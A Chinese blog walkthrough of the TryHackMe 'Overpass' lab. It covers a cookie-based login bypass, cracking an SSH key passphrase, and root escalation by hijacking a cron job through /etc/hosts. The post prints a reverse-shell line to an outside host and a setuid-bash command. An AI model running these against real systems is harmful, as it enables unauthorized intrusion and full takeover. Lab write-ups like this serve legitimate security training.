[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权

前提

房间地址:https://tryhackme.com/room/overpass

图片[1],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

两个问题

实战

靶机地址:10.10.109.42

扫一下

图片[2],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

开放了ssh 以及80

我们是肯定需要进ssh的

图片[3],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

gobu扫一下

图片[4],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

当然我们也能dirb or dirsearch扫一下

图片[5],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

进入admin

图片[6],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我们查看源代码

图片[7],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

当然从扫描结果来看

图片[8],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

把login.js暴漏出来了 这说明他不一定是让我们爆破 而是想办法绕过这个js

让我们代码审计一下

图片[9],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

学过js的都知道 Windows.location是跳转的意思 这里的意思就是携带cookie就跳转到admin

这是我之前写的PHP登录页面

期中我们用<script> </script>就是写一段js 其中就使用JS进行Window.location跳转

图片[10],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我们看一下cookie.js(好像没什么用)

图片[11],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

原来那个我能看出来

这挤一块了(实际上在互联网上正常的JS也是挤一块的),第一个才是另类, 不过看着有点难受

我们通过浏览器给我们整理一下看看吧

图片[12],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

没看出个什么东西

再次折反过来分析login.js

图片[13],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

这里需要把cookie设计成status0RCookie进行访问就能跳转/admin

那么好我们去试试

直接控制台

Cookies.set("SessionToken",400)
图片[14],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

刷新一下

图片[15],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我们截图完整看看

图片[16],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

如果你看过我之前写的wp 会觉得他很熟悉,因为此次时刻不出意外我们需要爆破ssh密码了

如果尝试RSA直接私钥登录我觉得不会这么简单的。。。

让我们先尝试一下 把密钥复制进去

图片[17],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

可以看到

图片[18],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

果然啊还是需要哈希破解

命令忘了我翻一下笔记

图片[19],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

好 看我命令

图片[20],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

直接秒出来了

让我们ssh连接一下吧

根据这个

图片[21],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

判断出账号是james(这里他大写是对他的称呼)

记住了我们爆破的不是ssh的密码 而是ssh密钥的密码

就是

图片[22],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

这玩意的密码

让后我们尝试密钥登录一下吧

ssh -i a.rsa james@10.10.109.42

输入密码 james13 连接

让我们拿一下user的flag

让后去拿一下todo.txt

图片[23],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网
图片[24],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

先查看一下我们的内核

lsb_release -a: 这个命令会显示关于您的Ubuntu发行版的详细信息,包括版本号。
cat /etc/issue: 这个命令会显示当前系统的发行版和版本信息。
cat /proc/version: 这个命令会显示关于内核和GCC版本的信息。
图片[25],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

18.04.4 LTS

看下GCC版本

图片[26],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

gcc也正常

上把Bounty Hacker赏金黑客之CVE-2021-3493漏洞提权 CVE-2021-3493可以直接通杀

其实到这里我们有很多种方法提权 作者也不想让我们这样进行提权

但是我这里因为刚用了一次CVE 这次手残想再用一次 想想以后在用其他方法在打一次 hh

但是我突然忘了 咱们没爆破出来SSH密码诶

图片[27],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

不好意思我是傻逼, 如果我们尝试修改是需要root权限 不然需要记住自己的current密码

图片[28],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

所以咱们还是按正规道路来吧

提权

这里什么也不知道该怎么提权

不过我们记得刚开始的源码

让我们下载一个go语言编辑的东西

图片[29],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我们尝试用vscode打开他

图片[30],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

在主函数里我们一个overpass的东西 这貌似是一个加密

让我们尝试打开他

图片[31],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

这里给了一个加密,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

求助AI爹判断他是ROT47加密 第一次见

图片[32],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我真不知道这是什么东西 也只能借鉴一下wp了

说实话没有个很熟练的,下一步根本很难提权,, 要分析很多数据 好多老外写的WP没有给出/etc/crontab是怎么来的 就直接cat了 就算crontab是临时任务配置文件 但是文件这么多,直接cat也会让人很懵(抱歉,可能是我才疏短浅见得少

所以这个cat /etc/crontab是怎么来的呢? 其中一种方法是跑linpeas.sh国外提权大佬的脚本跑出来的 让后一点一点的分析 还有其他方法也是根据上面的那个提示要分析很多

至于如何使用linpea.sh跑脚本 在上一篇CVE2021中有非常详细的教学

cat /etc/crontab
图片[33],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

他的意思是让我们修改overpass.thm数据 hosts数据让他与我们建议联系 且这是每分钟刷新一次

让我们稍微在检查一下ip(虽然右上角有

图片[34],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

ctrl+O保存 ctrl+x退出

我们需要修改/ect/hosts文件让他跑我们的服务

在靶机ssh中修改hosts文件让他解析到我们的服务器上

nano /etc/hosts
图片[35],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我们确定一下他是不是解析到我们ip了

图片[36],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

这里我161的服务器挂了ping不动

我切换为我另一个 查看一下 可以ping动

图片[37],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网
mkdir ./downloads/  #创建downloads文件夹
mkdir ./downloads/src #在downloads下创建src文件夹
touch ./downloads/src/buildscript.sh #在src下创建buildscript.sh脚本文件
脚本里面写入一二的任意一条
bash -i >& /dev/tcp/10.2.92.117/7777 0>&1  #反弹shell
chmod +s /bin/bash  #给予任何人root权限
图片[38],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网
图片[39],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

我已经写入了

python3 -m http.server 80 #开启http服务
图片[40],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网

让后开启监听 就可以反弹成功 记住任意目录都行但是根目录名称必须是www

所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听

所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听

所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听

好了 我们反弹成功

借鉴了一下博主的视频 博主大概讲了半个小时

图片[41],[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容